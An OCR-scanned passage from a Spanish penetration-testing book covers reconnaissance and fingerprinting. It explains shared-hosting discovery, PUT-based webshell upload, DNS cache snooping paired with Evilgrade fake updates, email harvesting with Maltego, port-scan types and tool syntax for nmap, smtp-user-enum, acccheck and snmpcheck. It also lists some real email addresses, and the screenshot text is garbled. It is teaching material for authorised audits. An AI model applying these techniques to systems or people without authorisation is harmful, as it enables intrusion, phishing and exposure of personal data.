los que se relacionan, etcétera, son solo algunos datos que se pueden conocer gracias los
servicios web como: neterafi, cuwhois, 123people, iptools, etcétera,

- Comprobacion de la existencia de lo denominado como hosting compartido. Esto ¢s un
valor affadido importante, ya que la seguridad del servidor puede radicar en el dominio mas
débil. Para esto se puede utilizar el verbo /p en el motor de biisqueda Bing, con el que dandole
una direccién /P se puede obtener un listado de dominios que se encuentran indexados bajo
esa direccion /P. Otra forma de llevar a cabo esto puede ser mediante el servicio seiversniff,
disponible en Internet.

- La obteneidn de emaily es algo importante, ya que mas adelante se puede llevar a cabo
ataques de ingenieria social, plishing, o incluso el comienzo de un APT. Existen herramientas
las cuales paséndoles el nombre de dominio realizan blisqueda de los emails de los empleados
de la organizacion por Internet. Otras rools lo que permiilen es verificar si la cuenta de
correo ha sido comprometida y sus credenciales se encuentran en algunas de las bases de
datos conocidas. Con Maltego se puede conseguir que a partir de una direccion de correo
clectrdnico conocer en qué sitios web aparece, y obtener mas cuentas de correo electronico.

- Analisis de la informacion

- Después de haber recolectado el maximo posible de informacion se debe analizar y
entender qué datos son los importantes en el comienzo de un pentesting. A continuacion se
exponen los elementos que se pueden diferenciar del resto de la informacion por tener un
valor afiadido para el pentester:

- Nombres de empleados. Esta informacién puede ser valida mas adelante. ya que con ella
se pueden hacer combinaciones para lograr un nombre de usuario, un correo electronico.
realizacion de téenicas de ingenieria social con dicha persona, o incluso (éenicas de fuerza
bruta sobre un usuario y contraseria,

- Datos de la Intranet. Estos datos pueden ayudar al auditor a inferir la topolegia de la red
interna, asi como los elementos de seguridad que pueden encontrarse protegiendo los activos
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de la organizacién. Hay que tener en cuenta que en este tipo de informacién puede existir
datos sobre elementos como balanceadores de carga, firewalls, IDS, eicétera.
Ademas, de la Intranet se puede conseguir los siguientes datos:

o Carpeta o archivo oculto, el cual puede proporcionar informacién sensible.

o  Teléfonos y direcciones con las que se puede realizar ingenieria social.

o Datos personales.

o Contrasefias.

o Protocolos, arquitecturas de red, reglas de elementos de seguridad. etcétera.
- Versiones de software embebido en archivos. Esta informacion vale para saber qué tipo
de software y version se utiliza, por lo que se puede saber si existen vulnerabilidades. Esto es
extensible a los sistemas operativos.
- Puntos externos. como ISP, dénde se pueda interceptar comunicaciones. Si en el canal
existen puntos no seguros, se podria interceptar la comunicacion y obtener informacién
sensible.
- Documentacion interna que por error fue publicada. Gracias a los buscadores se puede
cncontrar indexado todo tipo de informacion hasta procedimientos internos de seguridad de
una empresa.
- Cuentas de emails.
- Puecrtos abiertos en maquinas de la organizacion, por ejemplo mediante el uso del ruco
de la barra. Con esta informacion se podra averiguar qué servicio hay detrds de dicho puerto,
version de soffware, eicétera,
- Magquinas y servicios que se han ido encontrando a través de todo el proceso de
Sfootprinting.

PoC: Shared hosting

En esta prueba de concepto se va a mostrar el peligro de los shared hosting, y coma puede ser
muy Gtil detectarlos en los sitios web pertenecientes a la empresa objetivo. Hay que recordar que
la seguridad en un shared hosting seré la equivalente al sitio menos preparado en este ambito que
comparte el fos!.

Qué cosas se pueden buscar? Realmente el saber qué sitios estan almacenados en el mismo fros!
es importante y se podria buscar fallos sobre los ofros sitios para encontrar la via de acceder al
que interesa. Pero esto tiene un problema. y es que en una auditoria real el auditor no se puede
aprovechar de un fallo en otro dominio, es decir, no perieneciente al cliente ya que puede suponer
un problema legal.

E] atacante por el contrario si puede encontrar esta via como un punto de acceso al sitio que le
interesa. Por esta razon, si lo que se expone en este sitio es importante para la empresa, en la auditoria
se marca como una recomendacion de seguridad no utilizar shared hosting.
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En el ejemplo de esta prueba de concepto se utilizara el motor de busqueda Bing para saber que sitios
o dominios se encuentran alojados en la misma direecion /P. Para ello se utiliza el operadar /P en el
campo de bisqueda, tal y como se puede visualizar en la siguiente imagen.
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Fig. 2.01: Bisqueda de shared hosting con Bing,

Un atacante que quiere acceder al contenido de algin sitio en concreto que esta detras de dicha
direccion /77 dispone de cientos de sitios web a los que buscar vulnerabilidades. Antes de mostrar
algunas acciones que se pueden realizar para aprovecharse de una vulnerabilidad en un fhosting
compartide, se va a mosirar un ejemplo con el servicic Robrex. )

Con este servicio se puede saber. entre otras cosas, el namero aproximado de sitios que estin
detras de una direecién /P. En algunas ocasiones puede ser realmente Gtil utilizar este servicio para
complementarse con el proparcionado por Bing.
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Fig. 2.02: Obtencion del niimero de sitios detras de una direccidn /72
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Ahora, se puede evaluar, entre otras muchas cosas, los métodos que admite el servidor por cada peth
del dominio a auditar. Se tiene en cuenta que un atacante podria utilizar al resto de sitios web que hay
en el servidor, pero el auditor sélo debe utilizar del que tiene permiso. Esta claro que es un punto de
desventaja, pero la ética es la que marca el proceso.

Para obtener un listado de los métodos HTTP que el sitio permite se puede utilizar una herramienta
denominada RestClient-Tool. La herramienta proporciona un listado con los métodos HTTP que
se pueden ejecutar y dispone de una zona donde se muestran los resultados de la operacion. En la
imagen se puede visualizar como se obtiene un listado de métodos HTTP habilitados, pero esto no
quiere decir que al realizar la accion se lleve a cabo con exito.

Por ejemplo, si el servidor responde que el método PUT esta habilitado, se debera probar este
hecho, ya que se podria subir un archivo al servidor, por ejemplo una webshell. Aunque por otro
lado, aunque no se mostrara el método PUT como habilitado se deberia probar, ya que en algunas
ocasiones no se lista el método, pero se encuentra implementado, es decir, si se invoca se ejecuta.

(D RestClient-Tool o ® &=
hitp:// - v | E. .| OPTIONMS ~
Headers ODTIONS / HITE/L.L + HITD/1.1 200 OX »

Host: DAV: 1, &

. EEEEEee e DASL: <DAV:sgls
Connection: MS-Ruthexr—Via: DAYV
Uzer—Rgeat!

ReatClient-Tool Content—Leagth: 0
21low: OBTIONS,
TRAACE, B(IT, HIRAD,
DELETE, COFY, MOVE,
- CROCFIND, DROBEATCH,
SEARCH, MECOL, LOCOK,
Params UHLOCK
Zocept-Hanges: none

X-Towezred-By: ASE NET
Sexrver:

MicroseZt=IIS/

[
o]

Cache-Control:

OETIONS,
EET, HERD,
£, DUl, EOST,
MHCOL.,
OEERICH,
. SERICH

Body [ ]Use body text | File|

Fig. 2.03: Obtencién de métodos HTTP habilitadas.

Cambiando el método HTTP en RestClient se puede comprobar el comportamiento del servidor ante
el uso de métodos HTTP peligrosos como PUT, DELETE, COPY o MOVE. En la imagen se puede
visualizar como la ejecucion del método PUT sorprende con un éxito en la subida del archivo, ¥
esto puede provocar que una webshell tome el control del servidor remoto. Esto puede ocurrir en
cualquier tipo de servidor, por lo que no hace falta que tengan sitios compartidos. pero el peligro es
mayor en general en temas de seguridad cuantos mas sitios hay en un servidor.
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@ RestClient-Tool
htip:/ AR  nforrnaticabd test o ' v b B PUT =
s SO fingemmavicatd tair &
HITE/1._1
Content-Length: 34 N T
Content-Type: text/plain; Content—Lerngth: 0
charset=0IF-2 Allow: QPTICNS, TRECZ, G=T,
Hoato: HEAD, DI , DUT, COBY, MOVE,
Connection: Ksep-Alive DROPFIND, ETROFPATCH, SSARCH,
Params User-Agent: RestClienc-Toal LOCK, UHLOCK
E-PBowered-By: ASE_NZT
Frueba realizadza por Server: Microacic-IIS/5.0

informaticatd

Body (/] Use body text

Pruebs realizada pox
'J.r:fn::.atir.‘aé'é]

Fig. 2.04: Subida de archivo a ravés de PUT implementado.

PoC: DNS Caché Snooping y Evilgrade

I:n esta prueba de concepto se presenta el concepto de DNS Caché Snooping con el que un atacante
puede conocer los sitios por los que una organizacion puede navegar. En otras palabras. gracias a
esta vulnerabilidad un atacante puede conocer los habitos de los empleados de una organi%acién y
preparar ataques baséndose en esta circunstancia. Per cjemplo, se puede utilizar estabinfbrmacéh;w
para preparar un phishing para los empleados de la organizacion, realizar un envio masivo de
carreos electronicos con los que presentar el phishing o conocer las direcciones de actualizacion de
aplicaciones gue se utilizan internamente en la organizacion.

En la siguiente imagen se puede visualizar un ejemplo de comprobacion, a través de la herramienta
DNSrecon, si un servidor DNS tiene cacheado un listado de dominios concretos.

root@kalico: ~:

Archivo Editar  Ver Buscar Terminal = Ayuda

) ;-# dnsrecon.py -t snocop -n c s -D Desktop/dominios

[*] Performing Cache Snooping against NS Server: 213.144 .49 35

{#] Name: www.google.com. TTL: 43 Address: 17 42 Type: A

l:] Mame: www.google.com. TTL: 43 Address: 1, 43 Type: A

l.] Mame; www.google.com. TTL: 43 Address: 17 44 Type: A

|“] Name: www.google.com. TTL: 43 Address: 1, 40 Type: A

I»] Name: www.google.com. TTL: 43 Address: 17 41 Type: A

[*] Name : w;w.ingdirect.es. TTL: 167543 Address: 1€ 2 Type: A

Fig. 2.05: Descubrimiento de DNS Caclré Snoopiiig.

En el ejemplo se utiliza el dominio de actualizacién de la herramienta Notepad++. Sabiendo que

|4 B st e ;
4 organizacion la utiliza se puede presentar un ataque con Evilgrade framework para atacar las
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maquinas que lo utilicen. También se podrian realizar técnicas de DNS Spoofing en la organizacion
para conseguir que las actualizaciones no fueran legitimas, y si las que presenta el fiamework
comentado.

En la imagen se puede visualizar con Wireshark a dénde solicita la actualizacién la herramienta
Notepad++. La herramienta hace la solicitud por HTTP sin ninguna proteccidn, por lo que es
sencillo obtener el dominio. En este punto, y gracias a la informacién obtenida, se podria hacer un
listado de herramientas vulnerables a Evilgrade y realizar la prueba gracias a la vulnerabilidad DNS
Caché Snooping. Toda esta operativa quedaria reflejada en el informe, indicando qué dominios han
dado positivo en la prueba.

[Stream Content
| [6ET /update/getnown]aadUrT.php?version=6.22 HTTP/1.1

Host: notepad-plus-plus.org
Accept: ¥/

HTTP/1.1 200 OK
pate: Thu, 27 Mar 2014 19:41:08 GMT
server: Apache

X-Powered-By: PHP/5.3.3-7+squeezeld
vary: Accept-EncodinE
Transfer-encoding: chunked
content-Type: text/html

[
3
N

s
This file is part of GuP.

GUP is free software: you can redistribute it and/or modify

it under the terms of The GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or

(at your option) any later version.|

GUP is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.

vou should have received a copy of the GNU Lesser General Public License
along with cup. If not, see < ttp://wwai. gnu, org/licenses/>.
—=>

<zxml version="1.0"7>

<GUP>

. <NeedToBeupdated>yes</NeedTogelpdated>

.<version>6. 5. 5</version>
:.<Location>http://down1oad.tuxfami1y.org/notepadp1us/6.S.SKnpp.ﬁ.5.5.:nsta71er.exe</
|Locatiomn>

</GupP>

0

Fig. 2.06: Respuesta mediante HTTP vulnerable.

:Qué es el Evilgrade framework? Es un conjuntode herramientas que permiten comprometer equipos
a través de actualizaciones falsas. El framework necesita que antes ¢l atacante haya realizado ARP
Spoafing. DNS Spoofing. configuracion de un punto de acceso wireless falso, secuestro de DHCP
o cualquier otra manera gue permita al atacante interceptar el trafico de la victima. Es posible
conseguir el control total de una maquina objetivo que se encuentre completamente actualizada en
un test de intrusion.
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PoC: El correo

En esta prueba de concepto se muestra la importancia del rastro de informacion que los usuarios
dejan en Internat, El escenario es el siguiente:

- ;Cémo empezar? Existen multitud de scripts con los que se puede obtener direcciones de
correo de una empresa o dominio concreto. El objetivo es tener un hile por dénde comenzar
la bisqueda masiva de correos electronicos de una organizacién, Estos correos se podran
utilizar para diversas cosas: APT 5, nombres de usuarios y fuerza bruta, phishing, ataques de
exploits en el correo, relacionar informacién y contactos, nombres de personas o empleados.
etcétera.

- Otra via, como las que propone la herramienta Maltego, es utilizar el nombre de una
persona en concreto y recolectar cuentas de correo electronico que pertenezcan a csla.
Después, se puede relacionar esta informacion con los sitios web donde sc encontraron y ver
por qué se encuentra en dichos sitios.

- Una vez se disponen de cuentas de correo electronicos. nombres de usuarios, informacion
sobre las personas de la organizacion se puede utilizar servicios como haveibeenpwied. el
cual proporciona la posibilidad de saber si uno de esos correos electrénicos ha sido dumpecdo
en algunas de las bases de datos robadas y publicadas en Internet. Es un servicio muy curioso
a la vez que interesante.

En primer lugar se muestra un scripr de ejemplo para llevar a cabo la primera tarea de la anterior
lista. El nombre del seript es googlepvthonmail py. aungue se puede encontrar con olras nombres
en Internel. La ejecucion es sencilla, por ejemplo en una distribucion Kali Linux. se debe ejecutar
pvthon googlepythonmail py <domain-name=.

1~ python googlepythonmail .py llpaths.com

D L o T o o o i S e e i e o
-+ Google Web & Group Results:
B o T o o L I 0 S S 2 e 2 e s 2 o

i i ©ooeee @llpaths.com
@llpaths.com
) p@llpaths.cem
@llpaths.com Py
@llpaths.com el S
i@l lpaths .com
@llpaths.com

Fig. 2.07: Ejemplo de uso de pyihangooglenail.

La herramienta Maltego proporciona distintas funcionalidades en la etapa de foozprinting. pero una
que llama la atencién es la de bisqueda a través del nombre de una persona. Esta funcionalidad
pucde resultar interesante en funcion del tipo de prueba que el auditor se encuentre.
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Please select the machine to run from the list below:

) Footprint L3 [Demain] Ti

Thiz parformsa leval 3 vntansal f

@) Person - Email Address

Trizs te ebtair somsana's =m

(73 Prune Leaf Entities

achine to prune lzaf ent

( Twitter Digger

Warks on a phirass as a Twittar aliss. 1ot that this mizdhing wi

ST Twidkar Gan | ocatian

Show on startup
Show an empty graph click

Fig. 2.08: Seleccion de funcionalidad person — email address.

Tras seleccionar la funcionalidad se introduce el nombre de la persona de la que se quiere recabar
informacién en Internet. Lo primero que la herramienta va a devolver es un numero de cuentas
de correo electronico con las que se realizard un primer nivel de evaluacion y descubrimiento de
informacion sobre la persona. Tal y como se puede visualizar en la imagen el nimero de cuentas
de correo electrénico puede ser alto. Légicamente existe la posibilidad de que la cuenta de correo
no pertenezca a la persona buscada, pero son distintas vias que hay que explorar en funcion de las
necesidades que el auditor tenga.

3

pablo gonzalez

l
]
e

pablo.gonzalez@11paths.com

f £ i
‘g 'l -
s, — ———

pgonzalez@gmall.com pablegonzalez@gmail.com pablo.gonzalez@gmail.com

pbglezc@gmail.com Ig I3

—~— ~——— -

bbao23@gmail.com

juanpablo@comboagency.com pabluchas@hotmail.com

Fig. 2.09: Correos electranicos obtenidos con Melicgo.

Una vez que la herramienta realiza la biisqueda y consigue obtener las cuentas de correo se puede
elegir sobre qué cuentas obtener més informacion. Por ejemplo, en qué sitios se ha encontrado esa
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cuenta o cudl es el contexto del email en el sitio web. En la imagen se puede visualizar el menti de
cleccidn de cuenta de correo electrdnico para obtener mayor detalle.

% Select email addresses

Select relevant addresses von wish to continuz
with

e
The following results were returned
[ i juanpablo@comboagency,com

[ 3

Type ﬁ

[ . pabluchas@hotmail.com

... pablo.gonzalez@11paths.com
] . pbglezc@gmail.com

[ 1. bbad23@gmail.com

[ . pablo@resf.com

1 __iwebmaster@jeanp.com —

[] ...ifs@pablogonzalez es
[ . member@gbatemp.nist =

Fig. 2.10: Menl de eleccion de cuenta de correo electronico.

] Remove unselected entities from graph

Una vez seleccionadas las cuentas de correo electronicos que se quieren explorar, se ird dibujando el
arafo que presenta la herramienta para ver en qué sitios web se encontraron dichas cuentas.

En este instante es importante entender qué es lo que se pretende con esto, y es obtener mas
informacian sobre los hibitos del usuario, ambitos en los que se mueve, por qué su cuenta de corrco
electronico esta en un sitio web, y sobretodo conocer mas sobre ¢él. Toda informacion que se obtenga
de ¢l serd valiosa en el proceso de recoleccion de informacion antes o despucs.

twitpic.com

pabluchas@hotmail.com
»

f
L

pablo@resf.com

e

blog.elevenpaths.com

Fi

o, 2.11: Relacion de cuenta de correo electronico con sitios weh.
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Como se ha mencionado anteriormente el servicio haveibeenpwned permite, dado un correo
electrénico de un usuario, saber si una cuenta se encuentra expuesta en algin dunp de base de datos
en Internet.

El servicio es llamativo a los ojos de los usuarios, pero puede ser de gran utilidad en un pentesting.
Ademas, puede ser de gran utilidad ya que se podria obtener la credencial teniendo acceso a la base
de datos dénde se pudiera encontrar dicha cuenta.

En la siguiente imagen se puede visualizar como se presenta el servicio. Se dispone de un input
dénde introducir el correo electronico para verificar si éste se encuentra en alguna base de datos.

Oh no — pwned on 1 site!

Are you creating strong, unique passwords on all sites?
= Notify me if my address gets pwned in the future

&% Did you find this useful and'want to donate?

Fig. 2.12: Servicio frave i been pwied.

A continuacién se muestra dos ejemplos de cuando se tiene éxito y se encuentra una cuenta en el
servicio y cuando no. Se puede visualizar que cuando se encuentra una cuenta en el servicio se
indica en cudntas bases de datos se encuentra, y donde se produjo el robo de dicha base de datos.

Por otro lado si el servicio indica “good mews” significa que la cuenta de correo electrénico
introducida no se encuentra en ninguna de las bases de datos a las que el servicio tiene acceso.

Adobe

The big one. In Gctober 2013, 153 million accounts were breached with each containing an internal 1D,
username, email, encrypted password and'a password hint injplain text. The password cryptography was
poorly done and many were quickly resolved back to plain text. The unencrypted hints also disclosed much
about the passwords adding further to the risk that hundreds of millions of Adobe customers already faced.

Fig. 2.13: Correo encontradoe en el servicio,

Good news — no pwnage found!

= Notify me if my address gets pwned in the future

&% Did you find this useful and want to donate?

Fig. 2.14: Correo no encontrado en el servicio.
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Fingerprinting

En el proceso de fingerprinting se lleva a cabo una recoleccion de informacion que consiste en
interactuar directamente con los sistemas para aprender méas sobre su configuracion y comportamiento.
Eslas técnicas llevaran a eabo un escaneo de puertos para el estudio de los posibles puertos abierlos
que se encuentren y determinar qué servicios se estan gjecutando, ademas de la versidn del producto
que se encuentra detrds del puerto,

En los sistemas, cada puerto que se encuentra abierto da una via de explotacion al auditor, por lo
que esta informacion es muy valorada en esta fase. Hay que conocer los tipos de escaneos que
se encuentran disponibles y saber configurar las herramientas para poder obtener el maximo de
informacion posible.

Hay que tener cuidado con los /DS, Intrusion Detection System. y firewalls que se puedan encontrar
en el analisis de puertos.

Hay distintos tipos de escaneos con diferentes objetivos. Desde saber que puertos se encuentran
abiertos hasta saber si hay un firewall delante del objetivo o no. Cada dia salen nuevas formas de
escanear maquinas gque aportan nuevos resultados interesantes, como por ejemplo mediante un tipo
de escaneo especial mmap es capaz de saber la seguridad de los certificados que proporciona un
servidor web. Es altamente recamendable estar al dia en este tipo de téenieas y vertientes para poder
poner ¢n practica estas habilidades.

A continuacion se pueden cstudiar distintos escaneos y los objetivos de éstos, recuerde que
herramientas como mmap disponen de gran versatilidad y posibilidad de configuracion.

Half Scan

Este tipo de escaneo consiste en realizar el procedimiento thiee-way handshake sin concluir por
completo para no crear una conexion. En otras palabras. el emisar envia un SYN para iniciar
conexion, si el receptor envia un SYN+ACK significa que el puerto se encuentra abierlo, entonces ¢l
emisor envia un RST+4ACK para finalizar la conexion, en vez de un ACK que seria lo normal para
crear la conexion. La viabilidad de este tipo de escaneo ¢s alta, con gran fiabilidad en su ejecucion.

ACK Scan

La finalidad de este escaneo cs distinta, no es determinar si un pucrto se encuentra abierto o no. si
no si un equipo de la red escucha las peticiones a través de un frrewall. El cmisor envia un paquete
con un ACK activo, el receptor debe responder con un RST esté el puerto abierto o no, si no existe
respuesta es que hay un cortafiregos en medio de la comunicacion.

Null Scan

Este tipo de escaneo tiene una caracteristica curiosa y es que el paquete que se envia no contiene
ningtn bit active. El emisor envia este tipo de paquetes y si el puerto se¢ encuentra abierto no se
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recibird nada, si por el contrario ¢l puerto se encuentra cerrado se envia un RS T+ACK. Es porello,
que se puede encontrar en otros libros que este tipo de escaneo tiene como fin averiguar cuales son
los puertos 7CP cerrados.

Xmas Scan

Este tipo de escaneo tiene en sus paquetes los bits de control activos. Windows, por defecto, no
responde a este tipo de paquetes, pero antiguamente la pila TCF/IP, respondia con un paquete
RST+ACK cuando el puerto se encontraba cerrado, mientras que si el puerto se encontraba abierto
no se respondia.

FIN Scan

Este tipo de escaneo consiste en la creacién de un paquete 7CP con el bit de FIN activo. El emisor
envia el paquete y si el puerto se encuentra abierto  no se obtendra respuesta, sin embargo, si el
puerto se encuentra cerrado se recibird un RST+ACK. El objetivo o finalidad de este tipo de escaneo
es idéntico al null scan y xmas scan, incluso algunos autores los agrupan como escaneos de deteccidon
de puertos cerrados a estos tipos.

Idle Scan

Este escanco es uno de los mas complejos y su eficacia depende de la méquina elegida como
—ombie. En el escenario habra al menos 3 maquinas, una es la del atacante, otra maquina sera la
~ombie o intermediaria y la Gltima la victima. La maiquina del atacante debe chequear que el zombie
utilice un algoritmo predecible para marcar los paquetes [P. Para averiguar esic detalle el emisor o
atacante envia varios paquetes con SYN+ACK para iniciar una conexion, el objetivo es obtener RST
y chequear que los /D de las respuestas son sucesivos o predecibles. También se debe verificar que
la maquina zombie no esté teniendo trafico, ya que sino el proceso seria inviable,

Cuando el atacante haya encontrado una maquina zombie que pueda ser utilizada, el atacante enviara
paquetes SYN a la maquina victima haciendo /P Spoofing. Los paquetes enviados desde la maquina
atacante. con la direccion IP de la maquina zombie, a la victima son en realidad un scan normal. La
diferencia se encuentra en que las respuestas de la victima iran destinadas a la maquina zombie, por
la suplantacion de [P realizada por el atacante.

Cuando la victima conteste a la peticion SYN. devolvera un SYN+ACK si el puerto se encuentra
abierto o un RST+ACK si el puerto se encuentra cerrado. Cuando la mdquina zombie reciba un
SYN+ACK enviard un RST a la maquina victima. Si la maquina zembie recibe un RST+ACK, se
declarara comao trafico nulo y se descartara.

Tras esperar un corto perfodo de tiempo el atacante preguntara por el /D de los paquetes de la
maquina zombie y pueden ocurrir 2 situaciones concretas, en primer lugar el /D se ha incrementado
en uno, entances el puerto en la maquina victima esta abierto, o por el contrario si el /D no se ha
incrementado. el puerto se encuentra cerrado.
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Nmap

Nmap puede suponer, a primera vista, una herramienta costosa de utilizar por su flexibilidad y
diversidad en las posibles acciones a realizar con ella. También, se puede recomendar el uso de
interfaces graficas para la utilizacion de nmap, y de este modo simplificar el entendimiento y uso de
la herramienta.

La ejecucién de los comandos nmap se puede generalizar mediante el siguiente esquema namp <fipo
de scan> <opciones>. La ejecucion por defecto seria la siguiente nmap <direccion IP>, con la que
se obtiene un reporte de la maquina con dicha direccién /P dénde se informa de los puertos abiertos,
servicios encontrados o el estado de la maquina. Para ser el escaneo por defecto no es poca la
informacion obtenida. Mas adelante se puede visualizar ejemplos practicos de Nmap en auditorias.

Fingerprint Web

Conocer el tipo y la versién del servidor web permite determinar vulnerabilidades conocidas y
exploits necesarios para aprovecharse de dichas vulnerabilidades. La identificacion de los servicios
web y los CMS (Content Managemente System) son acciones importantes,

Ademas, conocer los plugins que éstos pueden utilizar también es un hecho crucial en el comienzo
de un pentest web. Resumiendo, un fingerpinting web consta de:

- Identificacién del servidor web.
- Identificacion de los CMS.
- ldentificacion de plugins de los CMS y vulnerabilidades.

La identificacién del servidor web se podria llevar a cabo con herramientas concretas para dicha
accidn o el analisis del hanner del servicio. Una herramienta que realiza esta aceion entre otras
muchas es, la mencionada anteriormente, nmap. Otra herramienta para realizar esta labor es
whatweb, también conocida como la herramienta que responde a ;Qué es este sitio web?

La identificacion de CA4S ha cobrado gran importancia en las auditorias actuales, ya que cada vex
es mas recurrido el uso de este tipo de frameworks, tambicén denominados gestores de contenido. En
este caso lambién se puede utilizar la herramienta whatweb para realizar esta identificacion. (Como
lleva a cabo su tarea? La herramienta reconoce andlisis estadistico de paquetes, librerfas Javascript.
servidores web, etcétera. La sinlaxis para ejecutar la herramienta es whatweb —v <sitio weh=.

La identificacion de plugins y ciertas vulnerabilidades pueden llevarse a cabo con multitud de
herramientas, por ejemplo la distribucién de seguridad Ka/i Limuy dispone de gran cantidad de cllas.
Los pligins suelen ser fuente de gran cantidad de vulnerabilidades, las cuales pueden ser utilizadas
para comprometer la seguridad de un sitio web. Por esta razén se debe emplear tiempo en realizar
un fingerprint web exhaustivo, Para llevar a cabo esta operativa se pueden utilizar herramientas
como BlindElephant, la cual permite disponer de un listade de pluging de Drupal y Wordpress. La

herramienta Nikto, Plecost. WPScan, especializadas en Wordpress, 0 JoomScan, especializada en
Joomla
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Sera importante disponer de un listado de plugins actualizados, ya que estos CMS se actualizan
précticamente cada dia, y es necesario disponer de un listado actualizado para que las pruebas sean
mas cercanas a la realidad.

Como apunte decir que Nikio es integrable con el framework de intrusion Metasploit, lo cual le da
un plus muy alto a la herramienta. Ademés, Nikfo va un paso mas alla y realiza muchas mas acciones
aparte de la identificacion. Con Nikio se pueden realizar los siguientes test:

- Deteccitén de archivos jugosos o juicy files.

- Ataques de inyeccion.

- Pruebas de DoS.

- Descubrimiento de informacion y errores en la configuracion del servidor.
- Remote File Inclusion.

- SOL Imjection.

- Ejecucion de comandos remota.

- Identificacion de sofiwaie.

Como se puede entender Nikfo es una herramienta que hace bastante mas. que un fingerprinting,
aunque también realice estas tareas.

Como fingerprinting a otros servicios que pueden ser identificados se exponen algunos cjemplos
en este apartado. Hay que tener claro que existe diversidad de servicios para los cuales, en un alto
porcentaje, su fingerprinting sigue el mismo patrén. A continuacion se enumeran algunos servicios
que se detallaran en lineas posteriores:

- SMB, Server Message Block, el cual proporciona un sistema de archivos comin o
compartido entre méquinas. Es utilizado principalmente en entornos Microsoft Windows,
aungue tiene su protocolo compatible en entornos *NIX a través de samba.

- SMTP, Simple Mail Transfer Protocol, permite el intercambio de mensajes de correo
electronico entre equipos. Puede resultar muy util realizar un fingerprinting sobre este tipo de
protocolo para obtener informacion que pueda ser utilizada poesteriormente.

- SNMP, Simple Network Managemen! Protocol, permite el intercambio de informacion
de administracion entre dispositivos de red. Con este protocolo los administradores pueden
supervisar ciertas acciones de la red y toda la informacion que puede proporcionar al anditor
puede ser muy 0til en el penfest,

El protocolo SMB dispone de una arquitectura cliente-servidor, donde el cliente realiza peticiones
y el servidor responde otorgando los recursos necesarios. Se pueden utilizar distintas herramientas
para conseguir informacién sobre el protocolo. La primera que se estudia es dceCheck y nbiscan.
Estas herramientas se encuentran disponibles en suites de seguridad como Kali Linux.

La herramienta nbéscan es una herramienta que realiza un scan en una red local o remota en busca de
servidores nerhios abiertos. Realiza una funcionalidad similar a la herramienta nbistat en Windows
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pero operando en un rango de direcciones variable, Un ejemplo de uso seria nhiscan + <direccion
TP,

La herramienta AccCheck permite realizar conexiones con los recursos /PCS y ADMINS y probar
la combinacién de usuarios y contrasefias que se reciben de un diccionario, previamente indicado.
La sintaxis es sencilla acceheck.pl -t <direccion IP> [<opciones>]. Como opciones se tiene la
posibilidad de utilizar diccionario, indicar un usuario concreto o dejar el administrador por defecto,
eteétera.

El protocolo SMTP utiliza distintos pardmetros para comunicarse entre el cliente y el servidor. Uno
de los métodos utilizados para realizar la prueba de usuarios existentes consiste en la utilizacion de
los siguientes pardmetros VRFY y EXPN. El primer parametro permite verificar la existencia de un
usuario en un servidor, el cual devuelve como respuesta el nombre y el buzon de correo del mismo.
El servidor puede no aceptar la peticion, pero si la acepta puede contestar con un cédigo 250. 251
0 252, dependiendo si la direccién es vilida, reenviada o desconocida. El cédigo 550 indica que la
direccion no existe, por lo que el servidor rechazara cualquier mensaje hacia dicha direccidn.

Otra via interesante para conseguir nombres de usuarios sin utilizar los pardmetros anteriores s
mediante las cabeceras RCPT TO. El servidor debe responder con un cédigo de control a cada
peticion RCPT. Las herramientas SMTP-user-enum y neat permiten llevar a cabo estas operaciones
con el fin de conseguir enumerar usuarios. Con ncar se establece la comunicacion con el servidor de
correo manualmente.,

Un ejemplo de uso seria el siguiente: el auditor ejecuta mear [--SSL] <direccion servidor=
<puierto>. Después el servidor contesta al auditor con un codigo 220 indicando un hanner. Después
se realiza la verificacion de usuarios v se pueden dar diversos casos, con los distintos cédigos que
se han comentado anteriormente. Es recomendable realizar la tarea manualmente. ya que se puede
visualizar todos los pasos y codigos generados en el proceso. Con esto el auditor podra saber que
estd ocurriendo y explotar algln error o comportamiento no deseado en el servidor. Después, se
puede automatizar el proceso con la herramienta SMTP-user-enin.

La herramienta smip-user-enum permite especificar el método de consulta, por lo que si se requiere
preguntar por un nombre de usuario o directamente por la direccién completa se puede configurar.
Ademas. se puede utilizar un diccionario con usuarios o con direcciones de correo electronico para
realizar fuerza bruta en la enumeracidn de usuarios. A continuacién se muestra la sintaxis de la
herramienta smitp-user-enum [-M VRFY|EXPN|\RCPT][ U <diecionario.lxi> | -u <usuario=>/ [-T
<servidores.ixi=| -t <direccion servidor=].

Existen otras herramientas como Swaks, Medusa o modulos de tipo auxiliary de Metasploil,
auxiliary/scanner/smip/smip_enum, que permiten realizar este tipo de operaciones.

FEI protocolo SNMP dispone de tres versiones, donde las mas implantadas son SNMPv1 y SNMPv2.
En c§tas versiones su seguridad esté basada en una palabra conocida como nombre de comunidad. La
version tres del protocolo dispone de cambios importantes en lo que a la seguridad se refiere. Existe
una herramienta denominada snmpcheck disefiada para enumerar la informacion de administracion
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de red una vez sea identificada la direccién 7P. A continuacién se enumeran los pardmetros de la
herramienta:

- -t. Para fijar la dircccion [P.

- -p. Para fijar el puerto donde estd el servicio.

- -c. Para fijar el nombre de comunidad. Si no se fija por defecto se utiliza el nombre public.

- -v. Para fijar la versidn del protocolo.

Otra herramienta para realizar una enumeracion de SNMP es el modulo de Metasploit auxiliary/
scanner/snmp/snmp_eniin.

PoC: Nmap + scripts

En esta prueba de concepto se muestra el poder que tiene la herramienta nmap y sumotor de scripting
propio. Este mator proporciona al auditor la posibilidad de generar scripis que realicen una serie
de acciones propias de un fingerpriniing mas avanzado, o con un mayor enfoque hacia un punto
concreto del proceso.

Ademas, estos scripts permiten realizar otras acciones distintas al auditor, pero que estan relacionadas
con el pentesting. La posibilidad de realizar pruebas de SQL Injection. Cross Site-Scripting, pruebas
de estrés a servicios, fuerza bruta, deteccion de vulnerabilidades, entre otras muchas caracteristicas
hacen que este motor pueda ser realmente (til en un proceso de auditorfa.

En la siguiente direccion URL htip:/fmmap.org/nsedoc/ se pueden encontrar toda la documentacion
y scripts disponibles para el motor de mmap. La documentacion esta muy bien generada con algunas
pruebas que pueden ayudar a la comprension general del plugin.

Ademas, existen varias librerfas que pueden ser utilizadas por el motor para, una vez mas, ampliar
las funcionalidades y que puedan ser utilizadas por los desarrolladores.

Existen diversas categorfas para clasificar los tipos de scripts que se pueden encontrar en este pequeno
